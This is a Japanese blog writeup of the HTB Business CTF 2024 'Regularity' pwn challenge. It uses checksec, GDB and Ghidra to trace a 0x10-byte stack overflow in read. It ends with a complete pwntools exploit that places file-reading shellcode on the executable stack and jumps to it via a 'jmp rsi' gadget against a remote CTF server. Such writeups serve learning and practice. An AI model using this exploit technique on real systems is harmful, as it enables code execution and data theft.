🔥

HTB Business CTF 2024 Regularity writeup

2024/06/22に公開

HTB Business CTF 2024のPwnジャンルのRegularityのwriteupです。
問題の難易度はVery Easy

まずは実行してみる。
メッセージが表示された後に入力を求められるが、どこが脆弱性につながるかはわからない。

$ ./regularity 
Hello, Survivor. Anything new these days?
3
Yup, same old same old here as well...
$ ./regularity 
Hello, Survivor. Anything new these days?
test
Yup, same old same old here as well...
$

Ghidraでデコンパイルしてみる。
デコンパイル内容を見ても、どこに脆弱性があるかはわからない。

void processEntry entry(void)

{
  size_t __nbytes;
  undefined *__buf;
  int __fd;
  
  __fd = 1;
  __buf = &message1;
  write(1,&message1,0x2a);
  read(__fd,__buf,__nbytes);
  write(1,&message3,0x27);
  syscall();
                    /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

GDBで解析してみる。
Canaryが無効化されているので、Stack Buffer Overflowの脆弱性がありそう。

gef> checksec
---------------------------------------------------------------------------- checksec - /home/vagrant/pwn_regularity/regularity ----------------------------------------------------------------------------
-------------------------------------------------------------------------------------------- Basic information --------------------------------------------------------------------------------------------
Canary                                  : Disabled
NX                                      : Disabled
PIE                                     : Disabled
RELRO                                   : No RELRO
Fortify                                 : Not found
------------------------------------------------------------------------------------------ Additional information ------------------------------------------------------------------------------------------
Static/Dynamic                          : Static
Stripped                                : No (The symbol remains)
CET SHSTK feature flag (via Ehdr)       : Not found
CET IBT feature flag (via Ehdr)         : Not found
CET IBT opcodes (endbr64/endbr32)       : Not found
RPATH                                   : Not found
RUNPATH                                 : Not found
System ASLR                             : Enabled (randomize_va_space: 2)
GDB ASLR setting                        : Disabled (disable-randomization: on)
gef> 

_start functionがメインの処理になっている。

readを呼び出す前に、引数をレジスタに格納する必要があるが、
それらの処理が行われていないようにみえる。

gef> info fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _start
0x0000000000401043  write
0x000000000040104b  read
0x000000000040106f  exit

gef> disas _start
Dump of assembler code for function _start:
   0x0000000000401000 <+0>:	mov    edi,0x1
   0x0000000000401005 <+5>:	movabs rsi,0x402000
   0x000000000040100f <+15>:	mov    edx,0x2a
   0x0000000000401014 <+20>:	call   0x401043 <write>
   0x0000000000401019 <+25>:	call   0x40104b <read>
   0x000000000040101e <+30>:	mov    edi,0x1
   0x0000000000401023 <+35>:	movabs rsi,0x40202a
   0x000000000040102d <+45>:	mov    edx,0x27
   0x0000000000401032 <+50>:	call   0x401043 <write>
   0x0000000000401037 <+55>:	movabs rsi,0x40106f
   0x0000000000401041 <+65>:	jmp    rsi
End of assembler dump.
gef> 

実際にreadが実行される際に、引数(レジスタ)にどのような値が格納されているかを確認してみる。

writeを実行する際には、writeがcallされる前に引数を格納しているが、
readではreadがcallされた後からsyscallが実行されるまでの間で引数をレジスタに格納している。

readでの引数は以下となる。
read(0, rsp, 0x110)
読み込むサイズが0x110となっているが、sub rsp, 0x100とあるように、データを格納するスタック上では0x100のサイズしか確保していない。
したがって、0x1100x100の差分である0x10のStack Buffer Overflowの脆弱性が存在する。

 -> 0x401019 e82d000000         <_start+0x19>   call   0x40104b <read> 

   -> 0x40104b 4881ec00010000     <read+0x0>   sub    rsp, 0x100 
      0x401052 b800000000         <read+0x7>   mov    eax, 0x0 
      0x401057 bf00000000         <read+0xc>   mov    edi, 0x0 
      0x40105c 488d3424           <read+0x11>   lea    rsi, [rsp] 
      0x401060 ba10010000         <read+0x15>   mov    edx, 0x110 
      0x401065 0f05               <read+0x1a>   syscall  

この脆弱性を使って、どうやって攻撃につなげていくかを考える。
readでの書き込み先のアドレスはrspとなっているため、スタックに格納されているread functionからのreturn addressを上書きすることができる。

短いプログラムなので、使えそうなガジェットは少ない。
だが、read functionretで以下のコードに飛ばせば、read functionの中でlea rsi, [rsp]が実行されているので、rspに飛ぶ(rip = rsp)ことができる。

   0x0000000000401041 <+65>:	jmp    rsi

checksecの内容を見返すとNXも無効化されているため、
スタック上にshellcodeを格納し、そこにjmpさせることで攻撃が通りそう。

gef> checksec
---------------------------------------------------------------------------- checksec - /home/vagrant/pwn_regularity/regularity ----------------------------------------------------------------------------
-------------------------------------------------------------------------------------------- Basic information --------------------------------------------------------------------------------------------
Canary                                  : Disabled
NX                                      : Disabled
PIE                                     : Disabled
RELRO                                   : No RELRO
Fortify                                 : Not found
------------------------------------------------------------------------------------------ Additional information ------------------------------------------------------------------------------------------
Static/Dynamic                          : Static
Stripped                                : No (The symbol remains)
CET SHSTK feature flag (via Ehdr)       : Not found
CET IBT feature flag (via Ehdr)         : Not found
CET IBT opcodes (endbr64/endbr32)       : Not found
RPATH                                   : Not found
RUNPATH                                 : Not found
System ASLR                             : Enabled (randomize_va_space: 2)
GDB ASLR setting                        : Disabled (disable-randomization: on)
gef> 

攻撃対象のサーバに送信するペイロードは
shellcode + (0x100 - shellcodeのsize) * 適当な1文字 + jmp rsiのアドレス
となる。

これでBuffer Overflowが発生し、
read functionのret実行時にjmp rsiが実行され、shellcodeが実行される。

from pwn import *
from keystone import *

filename = './regularity'

elf = ELF(filename)
rop = ROP(elf)
context.arch = 'amd64'

open_sc = shellcraft.amd64.open('./flag.txt', 0).replace('SYS_open', '2')
read_sc = shellcraft.amd64.read('rax', 'rsp', 80)
write_sc = shellcraft.amd64.write(1, 'rsp', 80).replace('SYS_write', '1')

assembly = open_sc + read_sc + write_sc

print(assembly)
ks = Ks(KS_ARCH_X86, KS_MODE_64)

encoding, count = ks.asm(assembly)

shellcode = b''

for i in encoding:

    shellcode += i.to_bytes(1, byteorder='little')

print(shellcode)
print(len(shellcode))

debug = False

if(debug == True):
    conn = process(filename)
else:
    conn = remote("94.237.58.148", 51592)

print(conn.recvuntil(b"Hello, Survivor. Anything new these days?"))

pause()

payload = shellcode + b"t" * (0x100 - 0x3e) + b'\x41\x10\x40\x00\x00\x00\x00\x00'

conn.sendline(payload)

print(conn.recvline())

conn.interactive()

Discussion